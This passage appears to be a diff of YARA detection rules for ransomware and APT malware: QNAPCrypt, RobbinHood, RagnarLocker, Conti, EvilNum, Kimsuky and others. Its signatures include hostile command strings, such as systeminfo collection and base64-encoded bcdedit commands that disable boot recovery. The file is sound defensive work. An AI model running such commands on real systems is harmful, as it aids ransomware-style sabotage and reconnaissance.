3b } condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 5 of ( $s* ) + filesize > 8KB and 6 of ( $s* ) } -rule ARKBIRD_SOLG_RAN_ELF_Qnapcrypt_Aug_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Evilnum_LNK_Jul_2021_1 : FILE { meta: - description = "Detect QNAPCrypt ransomware (x86 version)" + description = "Detect LNK file used by EvilNum group" author = "Arkbird_SOLG" - id = "fcdec43a-de70-57a2-9527-263685acc820" - date = "2021-08-11" - modified = "2021-08-12" - reference = "https://bazaar.abuse.ch/browse/tag/QNAPCrypt/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-11/QNAPCrypt/RAN_ELF_QNAPCrypt_Aug_2021_1.yara#L1-L29" + id = "9d570c02-606a-5bff-af7a-9b5ef1e6df90" + date = "2020-07-13" + modified = "2021-07-14" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-13/EvilNum/APT_EvilNum_LNK_Jul_2021_1.yara#L1-L22" license_url = "N/A" - logic_hash = "4dbe5241b9f1b68a15193f3d5c7b0b5fac80208c16917b6e543ce407301f1dcf" + logic_hash = "d20aadfce6a0246f415f94a62edbf7fd48dcdcd9756a5a8d898a5459633b9350" score = 75 - quality = 71 + quality = 75 tags = "FILE" - hash1 = "551e03e17d1df9bd5b712bec7763578c01e7bffe9b93db246e36ec0a174f7467" - hash2 = "670250a169ba548c07a5066a70087e83bbc7fd468ef46199d76f97f9e7f72f36" - hash3 = "6df0897d4eb0826c47850968708143ecb9b58a0f3453caa615c0f62396ef816b" - hash4 = "fedcce505a5e307c1d116d52b3122f6484b3d25fb3c4d666fe7af087cfe85349" + hash1 = "b60ae30ba90f852f886bb4e9aaabe910add2b70278e3a88a3b7968f644e10554" + hash2 = "bc203f44b48c9136786891be153311c37ce74ceb7eb540d515032c152f5eb2fb" + hash3 = "fefc9dbb46bc02a2bdccbf3c581d270f6341562e050e5357484ecae7e1e702f3" tlp = "white" - adversary = "-" + adversary = "EvilNum" strings: - $s1 = { 2d 00 20 00 20 00 00 00 80 00 80 08 00 00 00 00 00 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 25 00 05 } - $s2 = { 2d 2d 2d 2d 2d 45 4e 44 20 00 00 00 00 00 00 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 } - $s3 = { 52 65 71 75 69 72 65 64 55 73 65 72 2d 41 67 65 6e 74 3a 20 25 73 0d 0a 57 77 77 2d 41 75 74 68 65 6e 74 69 63 61 74 65 5a 61 6e 61 62 61 7a 61 72 5f 53 71 75 61 72 65 0a 72 75 6e 74 69 6d 65 20 73 74 61 63 6b 3a } - $s4 = { 34 10 90 e5 80 20 9f e5 04 20 8d e5 08 10 8d e5 c8 10 9f e5 0c 10 8d e5 0a 30 a0 e3 10 30 8d e5 53 4e f8 eb 14 00 9d e5 00 10 90 e5 04 00 90 e5 00 00 50 e3 0c 00 00 da 04 00 91 e5 00 10 91 e5 04 10 8d e5 08 00 8d e5 94 00 9f e5 0c 00 8d e5 05 00 a0 e3 10 00 8d e5 15 e2 ff eb 14 00 dd e5 01 10 20 e2 84 00 9d e5 09 fe ff ea 00 00 a0 e3 00 10 a0 e3 f1 ff ff ea 0e 30 a0 e1 56 76 f9 eb fa } - $s5 = { 89 7c 24 2c 83 fe 20 19 db 89 f1 bf 01 00 00 00 d3 e7 21 df 89 fb 83 c7 ff 89 7c 24 24 83 c1 e0 89 4c 24 3c 83 f9 20 19 f6 f7 d9 89 4c 24 38 83 f9 20 19 ff 8b 4c 24 3c ba 01 00 00 00 d3 e2 21 f2 8b 4c 24 38 be 01 00 00 00 d3 ee 21 fe 09 d6 83 c3 ff 83 d6 ff 89 74 24 34 8b 54 24 44 8b 5c 24 2c 8b 7c 24 40 8b 4c 24 28 89 44 24 48 31 c0 89 44 24 30 31 c0 89 44 24 20 31 c0 89 44 24 1c } - $s6 = { 65 8b 0d 00 00 00 00 8b 89 fc ff ff ff 3b 61 08 0f 86 44 03 00 00 83 ec 58 c7 44 24 20 00 00 00 00 c7 44 24 24 00 00 00 00 8d 05 60 c3 27 08 89 44 24 20 8d 0d 28 af 31 08 89 4c 24 24 8b 0d 4c 35 4c 08 8d 15 50 e8 31 08 89 14 24 89 4c 24 04 8d 4c 24 20 89 4c 24 08 c7 44 24 0c 01 00 00 00 c7 44 24 10 01 00 00 00 e8 63 b9 ea ff 90 c7 05 94 38 4c 08 06 00 00 00 8b 05 d0 50 4d 08 85 c0 0f 85 b3 02 00 00 8d 05 1a d3 2b 08 89 05 90 38 4c 08 8b 05 a4 34 4c 08 89 04 24 8d 05 10 02 32 08 89 44 24 04 8d 05 90 38 4c 08 89 44 24 08 } - $x1 = { e8 [2] e4 ff 8b 44 24 08 89 44 24 28 8b 4c 24 0c 89 4c 24 2c 31 d2 31 db eb 18 8b 6c 24 40 83 c5 01 8b 54 24 44 83 d2 00 8b 44 24 28 8b 4c 24 2c 89 eb 39 ca 87 dd 0f ?? c3 87 dd } - $x2 = { 8b ?? 20 89 ?? 24 ff d0 8b 44 24 ?? 89 44 24 ?? 8b 4c 24 ?? 89 4c 24 ?? c7 44 24 68 65 43 68 30 c7 44 24 6c 72 61 69 78 89 ?? 24 89 ?? 24 04 e8 [2] e4 ff } - $x3 = { 74 11 90 e5 70 21 90 e5 68 31 90 e5 6c 41 90 e5 04 30 8d e5 08 40 8d e5 0c 20 8d e5 10 10 8d e5 91 5c fe eb 1c 00 9d e5 18 10 9d e5 14 30 9d e5 78 20 9d e5 40 10 82 e5 44 00 82 e5 ac b6 9f e5 00 00 9b e5 00 00 50 e3 27 06 00 1a 3c 30 82 e5 7c 02 9d e5 20 10 80 e2 1b 2e 8d e2 f9 0d fc eb 04 20 8d e2 1b 1e 8d e2 f6 0d fc eb 9e f4 ff eb 34 00 9d e5 78 30 9d e5 48 00 83 e5 7c 02 9d e5 d4 40 90 e5 d0 50 90 e5 cc 60 90 e5 04 60 8d e5 08 50 8d e5 0c 40 8d e5 fe f5 ff eb 10 00 9d e5 78 30 9d e5 4c 00 83 e5 04 00 8d e5 7c 02 9d e5 c0 40 80 e2 08 40 8d e5 8c fa ff eb 0c 00 9d e5 18 30 9d e5 10 40 9d e5 14 50 9d e5 78 60 9d e5 50 00 86 e5 14 b6 9f e5 00 00 9b e5 00 } - $x4 = { d0 00 8d e5 05 00 53 e3 a0 05 00 1a 00 30 d2 e5 68 00 53 e3 9a 05 00 1a 01 30 d2 e5 74 00 53 e3 94 05 00 1a 02 30 d2 e5 74 00 53 e3 8e 05 00 1a 03 30 d2 e5 70 00 53 e3 88 05 00 1a 04 20 d2 e5 73 00 52 e3 82 05 00 1a 9c 22 9d e5 54 30 92 e5 00 00 53 e3 72 04 00 0a 00 00 51 e3 6a 04 00 1a b4 12 9d e5 b8 32 9d e5 54 70 92 e5 58 07 9f e5 } - $x5 = { 55 6e 61 62 6c 65 20 74 6f 20 63 72 65 61 74 65 20 70 69 64 20 66 69 6c 65 20 3a 20 25 76 } - $x6 = { 53 61 76 65 20 63 75 72 72 20 50 49 44 20 25 64 } + $s1 = "1-5-21-669817101-1001941732-3035937113-1000" fullword wide + $s2 = "*..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe" fullword wide + $s3 = "C:\\Windows\\System32\\cmd.exe" fullword wide + $s4 = "System32 (C:\\Windows)" fullword wide + $s5 = { 3d 00 25 00 74 00 6d 00 70 00 25 00 5c 00 74 00 65 00 73 00 74 00 2e 00 63 00 26 } + $s6 = { 3c 00 22 00 25 [5] 25 00 6d 00 64 00 22 00 26 00 6e 00 65 00 74 00 73 00 74 00 61 00 74 00 20 00 2d } + $s7 = { 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 41 00 63 00 63 00 65 00 73 00 73 00 6f 00 72 00 69 00 65 00 73 00 5c 00 77 00 6f 00 72 00 64 00 70 00 61 00 64 00 2e 00 65 00 78 00 65 } condition: - uint32( 0 ) == 0x464C457F and filesize > 25KB and 3 of ( $s* ) and 2 of ( $x* ) + filesize > 60KB and 6 of ( $s* ) } -rule ARKBIRD_SOLG_RAN_ELF_Qnapcrypt_Aug_2021_2 : FILE +rule ARKBIRD_SOLG_Ran_Robbinhood_Oct_2020_1 : FILE { meta: - description = "Detect QNAPCrypt ransomware (x64 version)" + description = "Detect RobbinHood ransomware" author = "Arkbird_SOLG" - id = "8cd54646-87da-5261-82f3-68ab96549379" - date = "2021-08-11" - modified = "2021-08-12" - reference = "https://bazaar.abuse.ch/browse/tag/QNAPCrypt/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-11/QNAPCrypt/RAN_ELF_QNAPCrypt_Aug_2021_2.yara#L1-L22" + id = "adaacb06-0738-5d2b-b97e-b9007341f743" + date = "2020-11-04" + modified = "2020-11-05" + reference = "https://twitter.com/joakimkennedy/status/1323957238680178689" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-05/RobbinHood/Ran_RobbinHood_Oct_2020_1.yar#L1-L20" license_url = "N/A" - logic_hash = "9eb3a499afbaaf2addb8ee12cc2d479ebbacd4d19cc270e995f12e83546008b4" + logic_hash = "72d0e9b1e2f6aee8f24125e6e6801329e2fad016f05a94ad65c04874a016d09d" score = 75 - quality = 73 + quality = 67 tags = "FILE" - hash1 = "4829041c64971a0cb37d55e6ba83a57e01e76b26f3f744814b59bedbb3fefce8" - hash2 = "50470f94e7d65b50bf00d7416a9634d9e4141c5109a78f5769e4204906ab5f0b" - hash3 = "f9f5265f4c748ce0e2171915fb8edb6d967539ac46d624db8eb2586854dd0d9e" - tlp = "white" - adversary = "-" + hash1 = "7c7ef3ab31ab91a7379bc2e3f32473dfa7adf662d0c640ef994103f6022a092b" + hash2 = "f927dd9044d7fa874dc6b98a0f5c9c647f3a9e5393bfe034b425cbf8db93e501" + hash2 = "3f56501f764d49723188bb119845fec4f2419a5080b74513fd0734e2a628e754" strings: - $s1 = { 52 45 41 44 4d 45 5f 46 4f 52 5f 44 45 43 52 59 50 54 } - $s2 = { 64 48 8b 0c 25 f8 ff ff ff 48 8d 44 24 ?? 48 3b 41 10 0f 86 [2] 00 00 48 81 ec ?? 00 00 00 48 89 ac 24 ?? 00 00 00 48 8d ac 24 ?? 00 00 00 48 8b 05 [3] 00 48 83 3d [3] 00 00 0f 86 [2] 00 00 48 8b 48 08 48 8b 00 48 89 04 24 48 89 4c 24 08 e8 [3] ff 48 c7 04 24 20 00 00 00 e8 [2] 00 00 48 c7 04 24 00 00 00 00 e8 [3] ff 48 8b 44 24 20 48 89 44 24 58 48 8b 4c 24 18 48 89 8c 24 88 00 00 00 48 8b 54 24 28 48 89 54 24 60 48 } - $s3 = { 48 81 ec ?? 00 00 00 48 89 ac 24 ?? 00 00 00 48 8d ac 24 ?? 00 00 00 } - $s4 = { 64 48 8b 0c 25 f8 ff ff ff 48 [0-5] 3b ?? 10 0f 86 [2] 00 00 48 ?? ec } - $s5 = { 48 83 ec 78 48 89 6c 24 70 48 8d 6c 24 70 48 8b 05 [3] 00 48 8b 0d [3] 00 48 8b 15 [3] 00 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 e8 [3] ff 48 8b 44 24 18 48 85 c0 0f 84 10 01 00 00 48 8b 48 28 48 8b 50 20 48 8b 40 18 48 89 04 24 48 89 54 24 08 48 89 4c 24 10 e8 [3] ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 8b 5c 24 30 48 85 d2 0f 85 a3 00 00 00 48 8d 15 [2] 03 00 48 39 d0 0f 85 13 01 00 00 48 8b 05 [3] 00 48 8b 15 [3] 00 48 89 04 24 48 89 54 24 08 48 89 4c 24 10 48 8b 84 24 80 00 00 00 48 89 44 24 18 48 8b 84 24 88 00 00 00 48 89 44 24 20 48 8b 84 24 90 00 00 00 48 89 44 24 28 e8 [3] ff 48 8b 44 24 38 48 8b 4c 24 40 48 8b 54 24 48 48 8b 5c 24 50 48 8b 74 24 30 48 89 b4 24 98 00 00 00 48 89 84 24 a0 00 00 00 48 89 8c 24 a8 00 00 00 48 89 94 24 b0 00 00 00 48 89 9c 24 b8 00 00 00 48 8b 6c 24 } - $s6 = { 48 81 ec 48 01 00 00 48 89 ac 24 40 01 00 00 48 8d ac 24 40 01 00 00 48 8d 7c 24 38 48 8d 35 [2] 0f 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 [3] ff 48 8b 6d 00 48 8d 05 [2] 02 00 48 89 04 24 48 8b 84 24 50 01 00 00 48 89 44 24 08 48 89 44 24 10 e8 [3] ff 48 8b 44 24 18 48 89 84 24 38 01 00 00 31 c9 eb 18 8b 54 84 38 48 8b 5c 24 30 48 8b 84 24 38 01 00 00 89 14 98 48 8d 4b 01 48 8b 94 24 50 01 00 00 48 39 d1 7d 2c 48 89 4c 24 30 90 48 8b 05 [3] 00 48 89 04 24 48 c7 44 24 08 40 00 00 00 e8 [3] ff 48 8b 44 24 10 48 83 f8 40 72 b1 eb 46 48 c7 04 24 00 00 00 00 48 89 44 24 08 48 89 54 24 10 48 89 54 24 18 e8 [3] ff 48 8b 44 24 28 48 8b 4c 24 20 48 89 8c 24 58 01 00 00 48 89 84 24 60 01 00 00 48 8b ac 24 40 01 00 } + $seq = { 20 21 3d 20 20 3c 3d 3d 20 61 73 20 20 61 74 20 20 66 70 3d 20 69 73 20 20 6c 72 3a 20 6f 66 20 20 6f 6e 20 20 70 63 3d 20 73 70 3a 20 73 70 3d 25 76 0d 0a 29 20 3d 20 29 20 6d 3d 2b 49 6e 66 2c 20 6e 20 2d 49 6e 66 2e 62 61 74 2e 63 6d 64 2e 63 6f 6d 2e 65 78 65 2f 50 49 44 31 30 36 30 33 31 32 35 3a 20 70 3d 41 43 44 54 41 43 53 54 41 45 44 54 41 45 53 54 41 4b 44 54 41 4b 53 54 41 57 53 54 41 68 6f 6d 41 74 6f 69 43 45 53 54 43 68 61 6d 44 61 73 68 45 45 53 54 47 4f 47 43 4a 75 6c 79 4a 75 6e 65 4c 69 73 75 4d 32 52 74 4d 32 52 7a 4d 32 5a 79 4d 32 63 79 4d 32 64 77 4d 33 42 79 4d 69 61 6f 4d 6f 64 69 4e 33 6f 3d 4e 5a 44 54 4e 5a 53 54 4e 65 77 61 4e 6a 41 79 51 56 4a 44 51 56 5a 51 53 41 53 54 53 74 61 74 54 55 31 54 54 68 61 69 54 6b 56 47 55 46 42 55 57 45 53 54 57 45 78 54 59 32 31 30 59 32 31 6b 59 32 35 6d 59 32 46 69 59 32 46 7a 59 32 4d 3d 59 32 52 34 59 32 52 6d 59 32 52 79 59 32 55 78 59 32 55 79 59 32 56 79 59 32 5a 6e 59 32 5a 77 59 32 5a 79 59 32 64 74 59 32 68 74 59 32 6c 69 59 32 78 7a 59 33 42 70 59 33 42 77 59 33 49 79 59 33 4a 30 59 33 4a 33 59 33 4d 3d 59 33 4e 32 59 33 4e 6f 59 33 4e 73 59 33 4e 79 59 33 4e 7a 59 33 52 6d 59 57 39 70 59 57 46 6a 59 57 49 30 59 57 4a 72 59 57 4e 30 59 57 4e 6f 59 57 4e 77 59 57 4e 79 59 57 52 69 59 57 52 70 59 57 52 77 59 57 52 7a 59 57 56 7a 59 57 6b 3d 59 57 6c 30 59 57 6c 6d 59 57 70 73 59 57 77 3d 59 58 42 71 59 58 42 72 59 58 4a 33 59 58 4e 30 59 58 4e 34 59 58 4e 6a 59 58 4e 6d 59 58 4e 74 59 58 4e 77 59 58 5a 70 59 58 64 6e 59 6d 31 77 59 6d 46 30 59 6d 46 35 59 6d 46 6a 59 6d 46 72 59 6d 46 79 59 6d 4d 32 59 6d 4d 33 59 6d 4e 76 59 6d 52 69 59 6d 5a 6d 59 6d 64 30 59 6d 6c 6e 59 6d 6c 72 59 6d 6c 75 59 6d 74 36 59 6d 74 6d 59 6d 74 77 59 6e 42 33 59 6e 4a 6b 59 6e 4e 68 59 6e 56 77 59 6e 6f 79 59 77 3d 3d 5a 32 38 3d 5a 32 46 74 5a 32 52 69 5a 32 68 76 5a 32 6c 6d 5a 33 42 6e 5a 33 4a 35 5a 33 6f 3d 5a 47 31 77 5a 47 35 6e 5a 47 39 30 5a 47 39 6a 5a 47 46 30 5a 47 46 6a 5a 47 46 7a 5a 47 49 3d 5a 47 49 77 5a 47 49 7a 5a 47 4a 34 5a 47 4a 68 5a 47 4a 6d 5a 47 4d 79 5a 47 4e 6f 5a 47 4e 79 5a 47 4e 7a 5a 47 52 6b 5a 47 52 7a 5a 47 56 74 5a 47 56 79 5a 47 56 7a 5a 47 5a 7a 5a 47 64 6a 5a 47 6c 30 5a 47 6c 6d 5a 47 6c 74 5a 47 6c 77 5a 47 6c 79 5a 47 70 32 5a 48 4a 33 5a 48 4a 6d 5a 48 4e 30 5a 48 4e 69 5a 48 4e 72 5a 48 52 6b 5a 48 64 6d 5a 48 64 6e 5a 48 64 7a 5a 48 68 30 5a 48 68 34 5a 48 68 69 5a 48 68 6d 5a 48 68 6e 5a 57 31 73 5a 57 52 69 5a 58 42 72 5a 58 42 7a 5a 58 4a 6d 5a 58 4e 74 5a 58 68 6d 5a 6d 31 69 5a 6d 39 7a 5a 6d 4a 33 5a 6d 52 69 5a 6d 59 3d 5a 6d 5a 6b 5a 6d 5a 6d 5a 6d 67 3d 5a 6d 68 6b 5a 6d 78 32 5a 6d 78 68 5a 6d 78 6d 5a 6e 42 34 5a 6e 42 72 5a 6e 4a 74 5a 6e 4e 6f 5a 6e 56 73 5a 6e 68 6e 0a 09 6d 3d 5d } + $com1 = "os/exec.(*Cmd).Run" fullword ascii + $com2 = "os/exec.(*Cmd).Start" fullword ascii + $com3 = { 43 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 31 2e 76 62 73 43 3a 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 32 2e 76 62 73 43 } + $str1 = { 63 6d 64 7a 63 7a 4e 68 63 73 } + $str2 = { 59 32 31 6b 4c 6d 56 34 5a 53 41 76 59 79 42 69 59 32 52 6c 5a 47 6c 30 4c 6d 56 34 5a 53 41 76 63 32 56 30 49 48 74 6b 5a 57 5a 68 64 57 78 30 66 53 42 69 62 32 39 30 63 33 52 68 64 48 56 7a 63 47 39 73 61 57 4e 35 49 47 6c 6e 62 6d 39 79 5a 57 46 73 62 47 5a 68 61 57 78 31 63 6d 56 7a } + $str3 = { 59 32 31 6b 4c 6d 56 34 5a 53 41 76 59 79 42 69 59 32 52 6c 5a 47 6c 30 4c 6d 56 34 5a 53 41 76 63 32 56 30 49 48 74 6b 5a 57 5a 68 64 57 78 30 66 53 42 79 5a 57 4e 76 64 6d 56 79 65 57 56 75 59 57 4a 73 5a 57 51 67 62 6d 38 3d } condition: - uint32( 0 ) == 0x464C457F and filesize > 25KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 600KB and $seq and 2 of ( $com* ) and 2 of ( $str* ) } -rule ARKBIRD_SOLG_APT_Kimsuky_Aug_2020_1 : FILE +rule ARKBIRD_SOLG_Ran_Mem_Ragnarlocker_Nov_2020_1 : FILE { meta: - description = "Detect Gold Dragon used by Kimsuky APT group" + description = "Detect memory artefacts of the Ragnarlocker ransomware (Nov 2020)" author = "Arkbird_SOLG" - id = "dd79aa3b-0bbc-5fdd-808e-c2dee6d89804" - date = "2020-08-31" - modified = "2020-09-14" + id = "910774ab-9ad6-5c56-a921-203f61c9d7f7" + date = "2020-11-26" + modified = "2020-11-27" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-09-14/Kimsuky/APT_Kimsuky_Aug_2020_1.yar#L1-L23" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-27/Ran_RagnarLocker_Nov_2020_1.yar#L3-L33" license_url = "N/A" - logic_hash = "4644ea81535c867a36a882bb270cea784ae135e7acc7078823be0579b1746932" + logic_hash = "2cb26677b8f4e464750eb8dec0638fd3f9a28500e68f64d62e99236c93895c85" score = 75 - quality = 75 + quality = 50 tags = "FILE" - hash1 = "4ff2a67b094bcc56df1aec016191465be4e7de348360fd307d1929dc9cbab39f" - hash2 = "97935fb0b5545a44e136ee07df38e9ad4f151c81f5753de4b59a92265ac14448" + hash1 = "041fd213326dd5c10a16caf88ff076bb98c68c052284430fba5f601023d39a14" + hash2 = "dd79b2abc21e766fe3076038482ded43e5069a1af9e0ad29e06dce387bfae900" strings: - $s1 = "/c systeminfo >> %s" fullword ascii - $s2 = "/c dir %s\\ >> %s" fullword ascii - $s3 = ".?AVGen3@@" fullword ascii - $s4 = { 48 6f 73 74 3a 20 25 73 0d 0a 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f 2f 25 73 25 73 0d 0a 25 73 0d 0a 25 73 } - $s5 = "%s?filename=%s" fullword ascii - $s6 = "Content-Disposition: form-data; name=\"userfile\"; filename=\"" fullword ascii - $s7 = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG" fullword ascii - $s8 = "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"" fullword ascii - $s9 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii - $s10 = "\\Microsoft\\HNC" fullword ascii - $s11 = "Mozilla/5.0" fullword ascii + $s1 = "\\\\.\\PHYSICALDRIVE%d" fullword wide + $s2 = "bootfont.bin" fullword wide + $s3 = "bootsect.bak" fullword wide + $s4 = "bootmgr.efi" fullword wide + $s5 = "---RAGNAR SECRET---" fullword ascii + $s6 = "Mozilla" + $s7 = "Internet Explorer" fullword wide + $s8 = " </trustInfo>" fullword ascii + $s9 = "Tor browser" fullword wide + $s10 = "Opera Software" fullword wide + $s11 = "---END RAGN KEY---" fullword ascii + $s12 = "---BEGIN RAGN KEY---" fullword ascii + $s13 = "%s-%s-%s-%s-%s" fullword wide + $s14 = "$Recycle.Bin" fullword wide + $s15 = "***********************************************************************************" fullword ascii + $s16 = "K<^_[]" fullword ascii + $s17 = "SD;SDw" fullword ascii + $s18 = "Windows.old" fullword wide + $s19 = "iconcache.db" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize > 150KB and 8 of them + uint16( 0 ) == 0x5a4d and filesize > 30KB and 12 of them } -rule ARKBIRD_SOLG_MAL_Jssloader_Jun_2021_1 : FILE + +rule ARKBIRD_SOLG_Ran_Cert_Ragnarlocker_Nov_2020_1 : FILE { meta: - description = "Detect JSSLoader malware" + description = "Detect certificates and VMProtect used for the Ragnarlocker ransomware (Nov 2020)" author = "Arkbird_SOLG" - id = "192b1386-f0bc-54e8-9341-84f77f4f07c5" - date = "2021-06-04" - modified = "2021-06-05" + id = "85d51804-eebd-5353-8bd9-01756e7f7d07" + date = "2020-11-26" + modified = "2020-11-27" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-04/FIN7/MAL_JSSLoader_Jun_2021_1.yara#L1-L20" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-27/Ran_RagnarLocker_Nov_2020_1.yar#L35-L55" license_url = "N/A" - logic_hash = "73942afed6b3471be07be1fba3e7f90ec7f2377a1167aeef70627cd07faa3681" - score = 75 + logic_hash = "8171128426b48102457f5ba0771b27aaf5f4562293aff04c256bd5bd721a908e" + score = 50 quality = 75 tags = "FILE" - hash1 = "59c6acc8f6771ea6eeb8d8f03832642d87f9aa7eb0c3205398d31ad08e019a9c" - hash2 = "2609c6ec5d4fdde28d29c272484da66e0995e529cf302ed46f94c68cd99352e3" - hash3 = "ea167f5460c5f920699e276fb0c51f32c862256415c57edb4bda5760a70b9e4d" - hash4 = "822457c427a0776b41dd8f3479070e56fdd53ccd0175418d4e7d85065ec7d7d1" - tlp = "White" - adversary = "FIN7" + level = "Experimental" + hash1 = "afab912c41c920c867f1b2ada34114b22dcc9c5f3666edbfc4e9936c29a17a68" + hash2 = "9416e5a57e6de00c685560fa9fee761126569d123f62060792bf2049ebba4151" strings: - $s1 = { 8b 45 c8 83 78 0c 00 0f 84 ce 00 00 00 8b 45 c8 8b 4d 08 03 48 0c 8b f4 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 bc 83 7d bc 00 75 05 e9 a7 00 00 00 8b 45 c8 8b 4d 08 03 48 10 89 4d f8 8b 45 c8 8b 4d 08 03 08 89 4d ec 8b 45 ec 3b 45 08 75 06 8b 45 f8 89 45 ec 8b 45 ec 83 38 00 74 6c 8b 45 ec 8b 08 81 e1 00 00 00 } - $s2 = { 8b f4 6a 04 68 00 10 00 00 8b 45 c8 8b 4d c8 8b 50 04 2b 11 52 6a 00 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 f8 83 7d f8 00 75 05 e9 a7 00 00 00 8b 45 c8 8b 4d c8 8b 50 04 2b 11 52 8b 45 c8 8b 08 51 8b 55 f8 52 e8 [2] 00 00 83 c4 0c 8b f4 8b 45 f8 50 8b fc ff 15 [3] 00 3b fc e8 [2] 00 00 50 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b f4 6a 04 68 00 10 00 00 68 00 11 00 00 6a 00 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 ec 83 7d ec 00 75 02 eb 3e 8b 45 c8 8b 48 08 8b 11 89 55 e0 83 7d e0 ff 75 0c c7 85 00 ff ff ff 00 00 00 00 eb 09 8b 45 e0 89 85 00 ff ff ff 8b 8d 00 ff ff ff 8b 55 ec 8b 45 f8 89 04 8a 8b 45 ec 64 a3 2c 00 00 00 5f 5e 5b 81 c4 00 01 00 00 3b ec e8 [2] 00 00 8b e5 5d } - $s3 = { c7 45 f0 61 00 00 00 c7 45 c8 20 00 00 00 c7 45 cc 88 00 00 00 c7 45 dc 01 00 00 00 8d 45 f0 89 45 d0 33 c0 66 89 45 d4 c7 45 d8 00 00 00 00 c7 45 e0 00 00 00 00 8b 45 08 89 45 e4 8b f4 8d 45 c8 50 ff 15 [3] 00 3b f4 e8 [2] 00 00 89 45 b0 83 7d b0 ff 74 17 8b f4 8d 45 bc 50 8b 4d b0 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 52 8b cd 50 8d 15 2c 13 40 00 e8 [2] 00 00 58 5a 5f 5e 5b 8b 4d fc 33 cd e8 [2] 00 00 81 c4 2c 01 00 00 3b ec e8 [2] 00 00 8b e5 } - $s4 = { 8b 45 ec 8b 08 81 e1 ff ff 00 00 8b f4 51 8b 55 bc 52 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b 4d f8 89 01 eb 25 8b 45 ec 8b 08 8b 55 08 8d 44 0a 02 8b f4 50 8b 4d bc 51 ff 15 [3] 00 3b f4 e8 [2] 00 00 8b 55 f8 89 02 8b 45 f8 83 c0 04 89 45 f8 8b 45 ec 83 c0 04 89 45 ec eb 8c 8b 45 c8 83 c0 14 89 45 c8 e9 25 ff ff ff 5f 5e 5b 81 c4 08 01 00 00 3b ec e8 [2] 00 00 8b e5 } + $vmp0 = { 2E 76 6D 70 30 00 00 00 } + $vmp1 = { 2E 76 6D 70 31 00 00 00 } condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and filesize < 900KB and all of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 5000KB and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . issuer contains "GlobalSign" and pe.signatures [ i ] . serial == "68:65:29:4f:67:f0:c3:bb:2e:19:1f:75" ) and $vmp0 in ( 0x100 .. 0x300 ) and $vmp1 in ( 0x100 .. 0x300 ) } -rule ARKBIRD_SOLG_APT_APT38_Vsingle_Mar_2021_1 : FILE +rule ARKBIRD_SOLG_Ran_Conti_Loader_V3_Nov_2020_1 : FILE { meta: - description = "Detect VSingle used in attacks against Japanese organisations by APT38" + description = "Detect Conti V3 loader" author = "Arkbird_SOLG" - id = "d1d640f6-bcec-5364-8ea5-e0c0b86da6e1" - date = "2021-03-23" - modified = "2021-03-24" + id = "9541b9f8-befe-5bf4-88ee-b1cc5e92f927" + date = "2020-12-15" + modified = "2020-12-15" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-23/APT38/APT_APT38_VSingle_Mar_2021_1.yar#L1-L24" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-15/Conti/Ran_Conti_V3_Nov_2020_1.yar#L1-L22" license_url = "N/A" - logic_hash = "d01baac099ce33b837c83d6778900f7e55b8c63e75d0e552c10ababc8dec744c" + logic_hash = "c3c8530e1963c5af8ee93a5d2cc222abbeb3fb7e82ef6de2068795a38dca67aa" score = 50 - quality = 69 + quality = 71 tags = "FILE" - hash1 = "487c1bdb65634a794fa5e359c383c94945ce9f0806fcad46440e919ba0e6166e" level = "experimental" + hash1 = "707b752f6bd89d4f97d08602d0546a56d27acfe00e6d5df2a2cb67c5e2eeee30" + hash2 = "26b2401211769d2fa1415228b4b1305eeeed249a996d149ad83b6fc9c4f703ce" strings: - $dbg1 = { 68 74 74 70 [0-1] 3a 2f 